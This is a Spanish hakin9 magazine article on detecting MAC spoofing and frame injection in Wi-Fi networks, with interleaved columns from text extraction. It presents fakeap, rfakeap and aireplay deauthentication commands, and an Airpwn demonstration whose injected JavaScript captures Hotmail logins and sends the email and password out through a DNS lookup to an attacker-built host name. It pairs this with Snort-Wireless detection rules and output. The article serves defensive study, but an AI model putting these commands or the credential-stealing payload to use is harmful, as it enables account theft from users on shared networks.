Tramas de Administracin. Las tramas de administracin se encargan de tareas
como la asociacin y autenticacin de las estaciones 802.11 a la red, tambin se # perl ./fakeap.pl --interface wlan0
encargan de anunciar la existencia de la red y proporcionar la informacin sufi- --channel 1 --
ciente a las estaciones para que puedan unirse a la red, dependiendo del caso
sleep 3
pueden actuar como rbitros permitiendo el ahorro de energa.

A continuacin explicaremos el funcionamiento de algunas tramas de administracin En el comando utilizado especifi-


importantes en las redes 802.11. camos que entre cambios de punto
de acceso espere tres segundos, lo
Tramas Beacon - Las tramas Beacon anuncian la existencia de una red y consti- haga en el canal uno y en la inter-
tuyen un elemento importante para muchas tareas de mantenimiento de la red. Se faz inalmbrica wlan0. El comando
transmiten a intervalos regulares para permitir a las estaciones mviles buscar e
utilizado para generar tramas con
identificar una red as como parmetros de informacin para unirse a la misma. En
rfakeap ha sido el siguiente :
una red de infraestructura, el punto de acceso es el responsable de transmitir las
tramas Beacon. El rea en la que aparecen las tramas Beacon define el rea de
servicio bsico. Toda la comunicacin en una red de infraestructura se lleva a cabo # ./rfakeap -i wlan0 -n 3 -p ./ap_ssid

a travs de un punto de acceso, por lo que las estaciones en la red tienen que estar
lo suficientemente cerca como para escuchar las Beacon. Como se ha explicado Para rfakeap especificamos la ge-
anteriormente en cada red debe existir un coordinador que sea el encargado de neracin de tres puntos de acceso
transmitir las tramas Beacon, en el caso de las redes de infraestructura es el punto y que obtenga el SSID para los
de acceso y en el caso de una red independiente vara entre los diferentes miem- puntos de acceso del fichero ap_
bros de la red. ssid que se incluye con el progra-
Tramas Probe Request y Response - Durante el escaneado activo de una red ma, en caso contrara los generar
inalmabrica las tarjetas 802.11 envan una trama especial denominada Peticin
aleatoriamente. Podemos observar
de Prueba (ing. Probe Request), en respuesta a estas tramas en el caso de las
en la Figura 7. en el trfico genera-
redes de infraestructura los puntos de acceso respondern con una trama Probe
Response en la que incluirn informacin suficiente como para que la estacin
do con fakeap, como el nmero de
sea capaz de conectarse a la red. secuencia es secuencial as como
Disociacin y Anulacin de autenticacin - Las tramas de disociacin se utilizan los campos de timestamp, lo que
para finalizar una relacin de asocacin y las tramas de anulacin de autentica- delata que es una misma interfaz
cin se utilizan para finalizar una relacin de autenticacin. Ambas tramas inclu- inalmbrica. Sin embargo en la Fi-
yen un solo campo fijo, el cdigo de razn. gura 8., en el trfico generado por
rfakeap podemos observar como
el campo nmero de secuencia se
es muy dependiente de los drivers sin embargo se le pueden dar otros mantiene coherente para los pun-
utilizados. Esta herramienta es un usos como por ejemplo para tes- tos de acceso falsos generados,
simple script de Perl que utiliza tear la estabilidad de los sistemas rfakeap y rf4k3ap. En la Figura 9.
las utilidades iwconfig e ifconfig de deteccin de intrusos y otro podemos ver lo mismo pero con el
(vase el Listado 6.) para configu- software inalmbrico. campo timestamp.
rar una tarjeta de red inalmbrica Rfakeap proviene de raw fake-
como punto de acceso cambiando ap haciendo referencia al mtodo Deteccin mediante
los parmetros del mismo. En un de inyeccin de tramas que utiliza firmas de herramientas
principio este mecanismo se pens esta herramienta. Rfakeap es un Las herramientas utilizadas por un
para inundar de puntos de acceso programa escrito en el lenguaje atacante pueden generar tramas
falsos a posibles atacantes que de programacin C que trata de con ciertos campos especiales,
escaneaban en busca de redes, mejorar ciertos aspectos de la he- estos campos pueden ser rellena-

www.hakin9.org 43
Ataque

dos con valores inusuales o ca- en el campo de identificador de asociadas en la red y mediante una
ractersticos y delatar as que han red SSID el nombre Airjack por lo sola trama es posible deautenticar/
sido generados con herramientas que resultaba muy sencillo detectar disociar todas las estaciones dentro
especficas. a los script-kiddies que utilizaban de un mismo BSS.
Un ejemplo clsico es el de las esta herramienta. Un campo que tambin puede
tramas de anulacin de autentica- Aunque no sea especfico delatar la presencia de una falsifi-
cin generadas por la herramienta de una sola herramienta, los ca- cacin es el campo cdigo de razn
Airjack, aunque actualmente es una sos de generacin de tramas de (ing. Reason Code) de las tramas de
herramienta que no se desarrolla deautenticacin/disociacin envia- disociacin y anulacin de autenti-
y podra considerarse obsoleta, tiene das a la direccin de broadcast, al cacin. Este tipo de trama aparece
un lugar importante en la historia de contener la direccin de broadcast cuando el remitente no se ha unido
la seguridad 802.11. Ciertas tramas como destino son aceptadas por correctamente a la red, el campo
generadas con Airjack contenan todas las estaciones autenticadas/ cdigo de razn tiene 16 bits para
indicar que el remitente se ha unido
Listado 5. Cdigo HTML de la pgina principal de Hotmail incorrectamente, rellenar este cam-
po con valores inusuales o reserva-
<!-- cdigo acortado por claridad --> dos podra ser indicio de una trama
... falsificada.
<script type="text/javascript" src="JS/PPPrimary.js?x=4.0.5610.0">
Las ventajas de la deteccin
</script>
... mediante firmas concretas de he-
<form name="f1" style="margin:0px;" method="POST" target="_top" rramientas, es que si estas firmas
action="https://login.live.com/ppsecure/post.srf?id=2 son lo suficientemente distintivas
&svc=mail&cbid=24325&msppjph=1&tw=0&fs=1&fsa=1&fsat=12 pueden reducir drsticamente el
96000&lc=3082&_lang=ES&bk=1154169804" onsubmit="return
nmero de falsos positivos y fal-
OnSigninSubmit(this);">
<input name="login" type="text" id="i0116" maxlength="113" autocomplete="off" sos negativos, este factor es muy
value="username@hotmail.com" style="ime-mode:disabled" importante porque la credibilidad
class="css0034" /> de un sistema de deteccin de
<input name="passwd" type="password" id="i0118" maxlength="16" intrusiones debe ser alta, un ad-
autocomplete="off" value="" style="ime-mode:disabled"
ministrador de sistemas que recibe
class="css0034" />
... continuamente informacin falsa
</form> sobre ataques a su red, dejar de
darles importancia resultando as
en una herramienta totalmente in-
til. Las desventajas de este tipo de
tcnica, es que en muchas ocasio-
nes es fcil disimular la firma de la
herramienta atacante, por ejemplo,
cualquiera con unos mnimos co-
nocimientos del lenguaje C, podra
cambiar el contenido del campo
SSID generado por la herramienta
Airjack.

Deteccin mediante la
calidad de la seal
Cmo ya he mencionado a lo lar-
go del artculo una de las carac-
tersticas principales que deben
tener los campos utilizados para
la deteccin de anomalas es que
no deben ser fcilmente falsifi-
cables, una caracterstica muy
interesante en este aspecto es
la calidad de la seal con la que
se recibe una trama. Esta calidad
Figura 9. Trfico generado por rfakeap, campos timestamp coherentes depende de diversos factores, los
entre diferentes puntos de acceso ms importantes son la ubicacin

44 www.hakin9.org
MAC spoofing en redes Wi-Fi

fsica del receptor y del emisor, rado con la herramienta aireplay # aireplay -0 5 -a 00:60:B3:72:C3:25
y el hardware del emisor y el re- versin 2.2, el ataque envia tramas ath0
ceptor, lo que hace casi imposible de deautenticacin a la direccin
la simulacin de este factor por broadcast de una red especificada, Con lo que esperamos 5 segundos
parte de un atacante ya que mu- se ha utilizado el siguiente coman- entre el envo de las tramas de deau-
chas condiciones son directamen- do para su ejecucin: tenticacin, las enviamos al BSSID
te dependientes del receptor.

Descripcin terica
Cuando un atacante falsifica tra-
mas en una red 802.11, con mucha
probabilidad lo har desde una ubi-
cacin fsica diferente de la esta-
cin legtima a la que est tratando
de suplantar, por lo tanto es lgico
pensar que la seal del atacante
tiene muchas posibilidades de ser
diferente para un mismo receptor.
La medicin no medira el valor
absoluto de la fuerza de la seal,
sino los cambios que hay entre di-
ferentes tramas. Figura 10. Esquema de red utilizado para el ataque, diferencia de seal
debido a la distancia
Ejemplo prctico Ataque de
deautenticacin
Listado 6. Parte de cdigo del programa fakeap.pl
Para realizar una demostracin
# Cdigo acortado por cuestiones de claridad
prctica hemos utilizado un ataque
de deautenticacin generado por la GetOptions(
herramienta aireplay. En la Figura "channel=i" => \$channel_opt,
"essid=s" => \$essid_opt,
10. vemos como el atacante se en-
"words=s" => \$words_opt,
cuentra a una distancia muy gran- "mac=s" => \$mac_opt,
de del punto de acceso con lo que "sleep=s" => \$sleep_opt,
la calidad de la seal que recibe el "power=i" => \$power_opt,
sensor inalmbrico ser menor que "wep=s" => \$wep_opt,
"key=s" => \$key_opt,
la del punto de acceso que est
"interface=s" => \$interface_opt,
mucho ms cercano. En la Figura "vendors=s" => \$vendors_opt
11. vemos las tramas generadas );
durante el ataque, podemos obser- my $MAX_CHANNEL = 11; # Noth America. Change for other
var cmo el valor RSSI (ing. Recei- regions.
my $IWCONFIG = "/sbin/iwconfig"; # Change as
ved Signal Strength Indication) es
needed
mucho menor para las tramas de my $IFCONFIG = "/sbin/ifconfig"; # Change as
deautenticacin generadas por el needed
atacante que las tramas Beacon my $CRYPTCONF = "/usr/local/bin/hostap_crypt_conf"; # Change as
generadas por el punto de acceso needed
system( $IFCONFIG, $interface_opt, "down" );
ilcito. La medicin se puede reali-
system( $IWCONFIG, $interface_opt, "ESSID", $essid );
zar en trminos absolutos en mW printf( $IWCONFIG, $interface_opt, "ESSID", $essid );
o de manera relativa con el cam- system( $IWCONFIG, $interface_opt, "channel", $channel );
po RSSI. En la generacin de un printf( $IWCONFIG, $interface_opt, "channel", $channel );
patrn o perfil de comportamiento system( $IFCONFIG, $interface_opt, "hw", "ether", $mac );
printf( $IFCONFIG, $interface_opt, "hw", "ether", $mac );
a nosotros nos debera importar
system( $IWCONFIG, $interface_opt, "txpower", $power . "mW" ) if $power_
las fluctuaciones de la seal y no opt;
el valor absoluto, las mediciones printf( $IWCONFIG, $interface_opt, "txpower", $power . "mW" ) if
de calidad de la seal difieren para $power_opt;
cada tipo de tarjeta y fabricante, system( $IFCONFIG, $interface_opt, "up" );
printf( "%i: ESSID=%-15s chan=%02i Pwr=%-3s WEP=%s MAC=%s \r",
una buena referencia al respecto
$i, $essid, $channel, $power, $wep, $mac );
se puede encontrar en la seccin Time::HiRes::sleep($sleep);
En la Red. El ataque ha sido gene-

www.hakin9.org 45
Ataque

00:60:B3:72:C3:25 y por la interfaz mite a las estaciones usar tramas a diversos propsitos: adems de
inalmbrica ath0. de solicitud de emisin (RTS, Re- reservar el enlace de radio para la
Pese a que esta tcnica funcio- quest To Send) y de autorizacin de transmisin, silencia cualquier esta-
na bastante bien cuando el atacan- emisin (CTS, Clear to Send) para cin que pudiera estar escuchando.
te se encuentra a cierta distancia despejar un rea. Tanto las tramas Si la estacin de destino recibe
de la vctima, pero segn los tests RTS como las CTS extienden la una RTS, responde con una CTS.
prcticos no ocurre lo mismo cuan- transaccin de la trama de forma Igual que la trama RTS, la trama
do se encuentran relativamente que la trama RTS, la trama CTS, la CTS silencia las estaciones que
cerca el uno del otro, la mayora trama de datos y el acuse de recibo se encuentran en una proximidad
de tarjetas de usuario tienen po- final se consideran parte de la mis- inmediata. Una vez completado
tencias de emisin parecidas y el ma operacin atmica. En la Figura el intercambio RTS/CTS, el nodo
atacante podra ajustar la potencia 12. el nodo 1 tiene una trama para 1 puede transmitir sus tramas sin
de su tarjeta a un valor habitual. enviar; inicia el proceso enviando preocuparse de la interferencia de
Otro gran inconveniente de esta una trama RTS. La trama RTS sirve ningn nodo oculto.
tcnica es la facilidad con la que
la calidad de la seal de un usuario
flucta a lo largo de una conexin, Cabeceras de monitorizacin 802.11
un usuario puede cambiar de ubi-
cacin fsica y su perfil de seal Prism
Las cabeceras Prism se denominan de esta manera porque fueron creadas para las
cambiara totalmente.
tarjetas 802.11 con el chipset Prism. Estas tarjetas fueron y son muy populares entre los
aficionados a las redes 802.11 porque sus especificaciones abiertas han permitido a los
Deteccin mediante desarrolladores crear drivers que contenan muchas funcionalidades, como por ejem-
tiempo de intercambio plo el Modo Master que permita usar una tarjeta normal comportarse como un punto
CTS/RTS de acceso. Las cabeceras Prism en concreto fueron creadas para proporcionar cierta
Las estaciones 802.11 generalmen- informacin adicional sobre las tramas recibidas cuando la tarjeta funcionaba en Modo
te son transceptores inalmbricos Monitor, un modo especial no estndar que fue pensado para el testeo y la depuracin
semi dplex, esto significa que no de redes 802.11. Aunque el comportamiento exacto del modo monitor depende del tipo
pueden escuchar el medio mientras de tarjeta y su firmware, en todas las tarjetas funciona de manera similar dejando pa-
transmiten, como consecuencia de sar todas las tramas recibidas por la tarjeta al host. Esto significa que podemos ver las
esta limitacin les resulta imposi- tramas de control, administracin y datos con las cabeceras 802.11 y adems en el ca-
so de que el driver y la tarjeta lo soporten, las cabeceras Prism que nos proporcionan
ble detectar posibles colisiones.
mucha informacin til, como la velocidad a la que fue emitida la trama, la relacin se-
Para mitigar este factor el estndar
al ruido, la grabacin de hora y fecha de recepcin de la trama en la tarjeta, etctera.
802.11 implementa un mtodo de A continuacin se puede ver la estructura de una cabecera Prism del fichero packet-
Deteccin de Portadora Virtual que prism.c del programa Ethereal:
utiliza un NAV (ing. Network Alloca-
tion Vector) que va obteniendo va- struct prism_hdr {
lores de un campo de duracin que unsigned int msgcode, msglen;
aparece en las tramas y tiene como char devname[16];
struct val_80211 hosttime, mactime, channel,
valor el tiempo que tendr ocupada
rssi, sq, signal,
esa transaccin actualizando el
noise, rate, istx, frmlen;
NAV de todas las estaciones que
};
escuchen esa trama. An as, no es
posible detectar todas las colisio- AVS
nes, existen situaciones especiales Las cabeceras AVS son una versin mejorada de las cabeceras Prism y estn dis-
como el conocido problema del ponibles en algunos drivers de GNU/Linux, estas cabeceras tratan de estandarizar y
mejorar ciertos aspectos de Prism y han sido diseadas para no ser dependientes del
nodo oculto, en el que dos esta-
hardware. Entre las mejores que ofrece, incluye campos nuevos importantes como el
ciones transmiten simultneamente
campo versin y de longitud que permiten ser fcilmente extensibles permitiendo la
porque no pueden escucharse entre
compatibilidad.
ellas pero se encuentran dentro de
su rango de emisin, por lo tanto no Radiotap
son capaces de detectar el medio Las cabeceras con formato Radiotap son tambin un mecanismo para proporcionar
como ocupado y podran transmitir informacin adicional sobre las tramas desde el driver a las aplicaciones del espacio
de usuario como libpcap y desde las aplicaciones al driver para su transmisin. Dise-
a la vez o durante la emisin de la
adas inicialmente para NetBSD por David Young, las cabeceras radiotap proporcio-
otra estacin produciendo as una
nan ms flexibilidad que las cabeceras PrismAVS y proporcionan mejoras como la
colisin.
indicacin de la presencia de FCS.
Para solucionar el problema del
nodo oculto el estndar 802.11 per-

46 www.hakin9.org
MAC spoofing en redes Wi-Fi

Otros mtodos alternativos Medicin del tiempo


Algunas tcnicas de las aqu expuesas son experimentales, muchas de ellas an se Esta tcnica se basa en la medicin
encuentran en desarrollo y podran no considerarse del todo fiables. Debido al escaso del intercambio de una trama RTS y
ancho de banda disponible en redes 802.11, son especialmente importantes las tcni- otra trama CTS que se transmiten
cas de fingerprinting pasivo. A continuacin veremos alguna de las caractersticas que entre dos estaciones. Los factores
resultan ms apropiadas para la identificacin o creacin de perfiles de dispositivos en que afectan a este tiempo entre
redes 802.11. Aunque no todas las tcnicas de fingerprinting pueden detectar la falsi- dos nodos que intercambien estas
ficacin de tramas individuales, s que pueden detectar los ataques de impersonacin tramas son las siguientes.
de estaciones legtimas.
la distancia entre el emisor y el
RF fingerprinting
Esta tcnica se basa en la premisa de que no hay dos dispositivos exactamente receptor,
iguales, incluso entre el mismo modelo de tarjeta, existen diferencias de compor- las inmediaciones entorno a los
tamiento, esto incluye diferencias a nivel fsico y de firmware. En concreto, esta nodos, por ejemplo el nmero
tcnica se centra en el anlisis fsico de la seal de los dispositivos de red, me- de obstculos fsicos entre los
diante la medicin de ciertas caractersticas de la seal fsica producida al enviar nodos, el nmero de reflexiones,
tramas se podra llegar a identificar la procedencia de cada trama. Las principales refracciones y el efecto de mlti-
desventajas de esta tcnica son la dudosa fiabilidad de deteccin y la necesidad ples caminos,
de caro hardware especializado para la realizacin de las mediciones. la naturaleza del equipamiento
Rate Switching
de radio usado por ambos nodos,
Durante la conexin a una red 802.11 una tarjeta inalmbrica cambia su
el emisor y el receptor.
velocidad de trabajo adaptndose a las condiciones del medio, bsicamente
cuanto ms ruidoso es el entorno, ms debe degradarse esa velocidad para
poder seguir funcionando con una fiabilidad aceptable. El algoritmo que de- El tamao de las tramas RTS
ben seguir las tarjetas inalmbricas para adaptarse a las interferencias del y CTS es fijo y no afecta al tiempo
entorno no est definido en el estndar 802.11, por lo tanto cada fabricante de intercambio para una velocidad
tiene su propia implementacin de este algoritmo. Una prctica comn es de emisin fija. Esto hace muy
utilizar como referencia la calidad del enlace inalmbrico, esto es, la relacin difcil falsificar este parmetro que
seal ruido que detecta la tarjeta y en funcin de ese parmetro cambiar la se parece en gran medida al de la
velocidad de transmisin. Debido a la implementacin propietaria de cada medicin de la seal. Para medir
fabricante para este algoritmo, es posible realizar mediciones de los cam- el tiempo de transaccin, se puede
bios que realiza cada dispositivo de red a lo largo del tiempo y determinar as
utilizar el campo mactime de las
un perfil para cada tarjeta. Hay que comentar, que no tengo conocimiento de
cabeceras Prism (vase el Recua-
que esta tcnica haya sido implementada en ninguna herramienta y aunque
dro Cabeceras de Monitorizacin
ha obtenido resultados positivos en tests de laboratorio an no est demos-
trada su eficacia en entornos reales. 802.11) que nos permite saber
Heursticas de deteccin cuando ha llegado la trama al buffer
Cuando un atacante realiza un ataque de inyeccin de trfico generando de la tarjeta inalmbrica del sensor.
tramas falsificadas en la red inalmbrica el comportamiento normal de esta Asimismo tambin podemos saber
red se ve alterado por ese trfico, en muchas ocasiones ese tipo de trfico la velocidad de emisin y por lo
sera imposible que existiera, por lo que de manera sencilla se podra concluir tanto calcular diferentes tiempos de
que ese trfico es anmalo y considerarse como proveniente de un atacante intercambio para cada velocidad de
o influido por algn atacante. Como ejemplo se podra considerar la siguiente emisin utilizada por una estacin.
situacin, si se detectan tramas adicionales de una estacin despus de una
Una de las principales des-
trama de deautenticacin o disociacin para esa estacin, esas tramas debe-
ventajas de este mecanismo es
ran identificarse como falsificadas. Este tipo de tcnica tiene la desventaja de
que necesita utilizar el mtodo de
que slo se conocen heursticas para detectar muy pocos ataques.
OS Fingerprinting transaccin CTS/RTS que si no
La deteccin pasiva del sistema operativo es una realidad hoy en da, se podra es necesario, por ejemplo por la
aadir al perfil de la direccin fsica el sistema operativo que est utilizando y de presencia a una alta congestin de
esta manera detectar cualquier variacin del mismo. red y problemas de colisiones, re-
Driver Fingerprinting duce drsticamente el rendimiento
Existen trabajos que demuestran que es posible identificar con altas probabilida- de la red inalmbrica. Segn las
des el driver utilizado por una estacin inalmbrica, para identificar el driver se han pruebas, este mecanismo por si
hecho pruebas analizando el comportamiento de la estacin cuando escanea el solo no es demasiado prctico,
medio activamente en busca de redes disponibles. El mtodo de escaneado acti-
pero si se combina con otras tcni-
vo especificado en el estndar IEEE 802.11 no est estrictamente definido, dando
cas como la deteccin mediante el
lugar a implementaciones variadas por parte de los desarrolladores de drivers que
anlisis de la seal puede resultar
permiten diferenciarlos entre s.
un mecanismo de deteccin muy
potente.

www.hakin9.org 47
Ataque

Deteccin de un ataque un servidor de correo electrnico. procesadores para la deteccin de


de inyeccin de trfico Para la deteccin del ataque utiliza- ataques de denegacin de servicio,
A continuacin realizaremos la remos el IDS 802.11 Snort-Wireless. deteccin de escaneadores activos
demostracin de un ataque de in- como NetStumbler y la capacidad de
yeccin de trfico utilizando la herra- Configuracin Snort-Wireless crear reglas basadas en los campos
mienta Airpwn, se inyectar trfico Snort-Wireless aade la capacidad de las tramas 802.11. Para la detec-
en una sesin HTTP con el objetivo de leer tramas 802.11 al decoder de cin de tramas falsificadas utiliza
de robar la contrasea de usuario de Snort, adems incluye varios pre- el mtodo del anlisis de nmero
de secuencia que hemos explicado
previamente, vamos a configurar
este preprocesador para detectar
el ataque que realizaremos. Los
preprocesadores son pequeos
programas de Snort que permiten
una interaccin total con el paquete
recibido, los preprocesadores se
ejecutan antes que las reglas de
Figura 11. Diferencia de fuerza de seal entre las tramas legtimas y el ataque deteccin y ofrecen una mayor flexi-
bilidad y potencia para la deteccin
de ataques complejos.
En el Listado 4. se puede obser-
var un trozo del fichero de configu-
racin snort.conf, en concreto del
preprocesador MacSpoof. Pese
a que los comentarios del fichero
son bastante ilustrativos, explicare-
mos en detalle lo que significa cada
parmetro. La variable $MACSPOOF _
MASKED _ ADDR se define con ante-
rioridad en el fichero snort.conf
y contiene las direcciones MAC que
queremos excluir de la vigilancia
del preprocesador, tolerate _ gap
Figura 12. Funcionamiento del mecanismo CTS/RTS especifica el salto en el nmero
de secuencia entre dos tramas
consecutivas de la misma estacin,
threshold especifica la cantidad
de veces que deben detectarse
saltos de secuencia definidos por
tolerate _ gap en un tiempo delta
antes de lanzar una alerta, expire _
timeout define el tiempo durante el
que se guardarn la cantidad de
saltos en el nmero de secuencia,
spoofed _ target _ limit es el lmite
de direcciones MAC que se guarda-
rn en la tabla hash utilizada para
guardar el nmero de secuencia
asociado a cada direccin fsica,
prune_period define el tiempo
mximo que estar en memoria
una direccin MAC desde que se
ley la ltima trama proveniente de
esa direccin.
Nosotros dejaremos todos los
campos por defecto excepto el
Figura 13. Descripcin del ataque a nivel de la capa de aplicacin campo thresold al que le daremos

48 www.hakin9.org
MAC spoofing en redes Wi-Fi

el valor dos. Estos parmetros inyeccin de trfico. La tcnica que suplantan los paquetes ver-
igual que la mayora de lmites en utilizada en esta herramienta se daderos. Concretamente, Airpwn
los sistemas IDS deben ser ajus- basa en la capacidad de inyectar usa la librera libnet para crear los
tados para cada red, yo he elegido tramas en la capa de enlace de da- paquetes TCP. Para que el ataque
ese valor porque nuestro ataque es tos con paquetes de nivel superior mediante esta herramienta tenga
muy silencioso, slo inyecta una
trama en la red y para ser detecta-
Listado 7. Contenido del fichero de configuracin de Airpwn preparado
do necesitamos especificar el valor
para el ataque
ms bajo. Especificar un valor tan
bajo en la variable thresold tiene begin hotmail
como inconveniente que se pueden match (GET.*/pp400/JS/PPPrimary\.js)
response content/hotmail
producir gran cantidad de falsos
positivos.
La ejecucin de Snort-Wireless
no tiene ninguna complejidad, pero Listado 8. Contenido del fichero que inyectar Airpwn durante el
antes debemos poner la tarjeta ataque
sobre la que se escuchar el tr- HTTP/1.1 200 OK
fico en modo monitor y en el canal Connection: close
del punto de acceso a monitorizar. Content-Length: 50
Content-Type: application/x-javascript
Las wireless-tools de GNU/Linux
function OnSigninSubmit(obj)
soportan los drivers Madwifi que {
utilizar para la escucha, pero si email = document.getElementById('i0116').value.split('@')[0];
vuestros drivers no lo soportan passwd = document.getElementById('i0118').value;
siempre podis optar por utilizar img = new Image()
img.src = 'http://hacked.'+email+'.'+passwd+'.com';
el comando iwpriv para ejecutar
return true;
funcionalidades propietarias o me- }
diante programas adicionales que
proporcione vuestro driver.
Listado 9. Contenido del fichero MACspoof.log
# iwconfig ath1 mode monitor \
channel 6 7/29-04:20:57.276133
ifconfig ath1 up abnormal sequence number gap reported on addr : 00:12:17:dd:4c:0e, sed
number: 0
0:12:17:DD:4C:E -> 0:11:95:69:CD:12
El siguiente comando genera bssid: 0:12:17:DD:4C:10 Flags:
una alerta en formato rpido en 65.54.179.248:80 -> 192.168.1.103:2002
el fichero alert del directorio log, TCP TTL:255 TOS:0x0 ID:1 IpLen:20 DgmLen:365
adicionalmente el preprocesa- ***AP*** Seq: 0xB475FA32 Ack: 0x12D152D4 Win: 0xFFFF TcpLen: 20

dor MacSpoof crea un fichero


MACspoof.log dnde incluye todos
los detalles de las alertas genera-
das.

# ./snort -A fast -i ath1 \


-c snort.conf -l /log/
Herramienta Airpwn

Airpwn es una herramienta de


inyeccin de trfico 802.11, esta
herramienta abre un mundo nuevo
de posibilidades para un atacante,
ya no es necesario realizar un ata-
que de hombre en el medio para Figura 14. Tramas capturadas durante el ataque de inyeccin de trfico
modificar los datos de la conexin
de un host, el medio compartido
que utilizan las redes inalmbri-
cas y las bondades del estndar Figura 15. Resultado de la peticin DNS provocada por el cdigo Javascript
802.11 hacen posible este tipo de inyectado

www.hakin9.org 49
Ataque

xito, existen ciertos factores ne- En Airpwn 1.2 la versin que no- trfico y escuchar por la misma
cesarios, la trama maliciosa debe sotros utilizaremos para el ataque, interfaz inalmbrica. Las limitacio-
llegar al host antes que la trama se ha reemplazado esta forma de nes acerca de la modificacin de
legtima, ya que sino sera descar- inyeccin de trfico, ahora utiliza ciertos campos varan dependien-
tada, por lo tanto, la latencia de la la plataforma LORCON creada por do del driver utilizado, por ejemplo
conexin es un factor de importan- Joshua Wright y Dragon el creador los drivers Madwifi para chipsets
te. Actualmente la herramienta no de Kismet. Esta librera encapsula Atheros han evolucionado tanto
permite inyectar tramas fragmenta- la forma de realizar ciertas opera- que proporcionan una interfaz
das, por lo que el tamao mximo ciones bsicas como la inyeccin especial para lectura e inyeccin
de la trama puede ser de 1500 de trfico abstrayendo al progra- de trfico sin necesidad de ningn
bytes, la unidad de transferencia mador de todas las peculiaridades parche adicional y permiten modifi-
mxima (MTU, Maximum Transfer de diversos drivers y tarjetas. car casi la totalidad de los campos
Unit) del protocolo 802.11. En la Como hemos comentado anterior- de la trama inyectada. Suponiendo
versin anterior de Airpwn 0.5c, mente la inyeccin en modo mas- que el punto de acceso est en el
se realizaba la inyeccin de tr- ter o la utilizacin del driver Airjack canal seis y el fichero de confi-
fico mediante el modo master en eran posiblemente las dos nicas guracin hotmail se detalla en el
tarjetas con chipset Prism y drivers opciones para inyectar tramas Listado 5., este ser el comando
hostap, esto tena varios inconve- de administracin o control hace que utilizaremos para la inyeccin
nientes entre los cuales que mu- tiempo y como hemos comenta- de trfico:
chos campos de la trama inyectada do anteriormente la inyeccin se
estaban en manos del firmware y realizaba con ciertas limitaciones, # iwconfig wlan0 mode monitor \
no se podan alterar. Adems eran Christophe Devine desarroll unos channel 6
necesarias dos interfaces inalm- parches para drivers de diversas # ifconfig wlan0 up
bricas, una funcionando en modo tarjetas que permitan la inyeccin # ./airpwn -c ./conf/hotmail -d hostap
monitor para escuchar el trfico, y de trfico en modo monitor, con lo -i wlan0
otra para inyectar los paquetes en que ahora no son necesarias dos
modo master. tarjetas porque podemos inyectar Descripcin del Ataque
El ataque que vamos a realizar a
continuacin trata de ser lo ms
sencillo y eficaz posible, existen
multitud de formas de aprovechar
la inyeccin de trfico, desde el
uso de exploits al pishing, slo
tratamos de reflejar el peligro de
este tipo de ataque y destacar la
necesidad de elementos de moni-
torizacin.
Nuestro objetivo va a ser conse-
guir el nombre de usuario y contra-
sea de los usuarios que accedan
a Hotmail a travs de la red inalm-
brica.
Echndole un vistazo a la pgi-
na principal de hotmail nos damos
cuenta que es demasiado grande
como para suplantarla entera, ocu-
pa mucho ms que lo permitido en
una trama 802.11, recordemos la li-
mitacin de la herramienta Airpwn
que no permita fragmentacin. Lo
segundo que se nos puede ocurrir
es inyectar una pgina con un ifra-
me que cargue la pgina original de
hotmail y jugar con javascript para
conseguir la contrasea cuando
sea enviada, pero este tipo de
Figura 16. Flujo de datos TCP de la peticin GET con el paquete inyectado. pginas no permiten cargarse en

50 www.hakin9.org
MAC spoofing en redes Wi-Fi

iframes usando cdigo javascript regular pcre (Perl Compatible email+'.'+passwd+'.com';. Aunque
para colocarse en la posicin top. Regular Expression) contenida en esa url no exista se lanzar una
Si leemos detenidamente el cdigo el fichero de configuracin espe- peticin DNS que capturaremos,
de la pgina nos damos cuenta de cificado concuerda, se inyectar en la Figura 14. podemos ver las
que existen otros ficheros que se el contenido especificado. En tramas generadas por el ataque
pueden suplantar. En el Listado 5. nuestro caso queremos inyectar y en la Figura 15. se puede obser-
vemos cmo se incluye el fichero cdigo javascript cuando se haga var la peticin DNS despus de
PPPrimary.js que contiene funcio- la peticin al fichero PPPrimary.js que un usuario haya entrado en su
nes javascript, entre ellas la fun- que pertenece a la pgina principal cuenta de Hotmail, el resultado del
cin OnSigninSubmit que se ejecuta de Hotmail. ataque se ve reflejado en la Figura
cuando ocurre el evento submit en En el Listado 8. vemos el c- 16. vemos cmo despus de la
el formulario de acceso al correo digo que inyectaremos cuando lnea Connection close aparece el
electrnico. Tras unas pruebas, se detecte la peticin del fichero contenido legtimo que llega com-
determinamos que las funciones javascript. En este fichero especi- primido. Como se observa en la
que se encuentran en ese fiche- ficamos el campo content-length Figura 14., el nmero de secuencia
ro no hacen nada especialmente con el valor 50 para que no espere del paquete inyectado es 0, con lo
importante y podemos ignorarlas, ms datos despus de los que que Snort-Wireless ha detectado
nuestro objetivo ahora es poder nosotros inyectemos, la opcin una anomala en el nmero de
suplantar ese fichero, si reescri- connection close especifica que la secuencia respecto al nmero de
bimos la funcin OnSigninSubmit conexin http se cierre. En el cdi- secuencia del punto de acceso, el
podremos leer el campo de usua- go javascript se obtienen el email resultado de la alerta se muestra
rio y contrasea y hacer todo lo y el correo mediante su id que se en el Listado 9. El problema radica
que javascript nos permita, que es puede obtener del cdigo de la en que la pgina desde dnde se
mucho. En el Listado 7. podemos pgina en el Listado 5., para el realiza el login no usa un protocolo
ver el fichero de configuracin que nombre de usuario se divide por el seguro como https con lo que se
usaremos para realizar el ataque smbolo arroba y se crea una nue- puede realizar de manera sencilla
con Airpwn, esta herramienta es- va imagen asignndose al atributo este ataque e inyectando un slo
cucha el trfico inalmbrico revi- source del objeto Image una url paquete en la red inalmbrica he-
sando su fichero de configuracin con la contrasea y el nombre de mos conseguido la contrasea de
para cada paquete, si la expresin usuario img.src = 'http://hacked.'+ un usuario, imaginemos la situa-
cin en un lugar pblico de acceso
con decenas de usuarios acce-
Sobre el Autor diendo a sus cuentas de Internet.
El autor es un curioso insaciable, apasionado de la cultura del Software Libre, actual-
mente cursa su ltimo ao de proyecto de Ingeniera Informtica en la Universidad de Resumen
Mondragn implementando mejoras en el IDS Snort-Wireless. Actualmente las tcnicas ms fiables
de deteccin se basan en firmas
de herramientas y en el anlisis de
campos caractersticos, sin embargo
En la Red la mejor forma de deteccin apare-
http://www.blackalchemy.to/project/fakeap Pgina web de fakeap
ce cuando se combinan diversas
http://rfakeap.tuxfamily.org/ Pgina web de rfakeap tcnicas. Como hemos visto, esas
http://www.wildpackets.com /elements /whitepapers /Conver ting _Signal_ tcnicas por si solas pueden no
Strength.pdf - Documento sobre el tratamiendo de la seal en funcin del driver de ser suficiente, pese a que nuestro
Wildpackets ataque anterior ha sido detectado
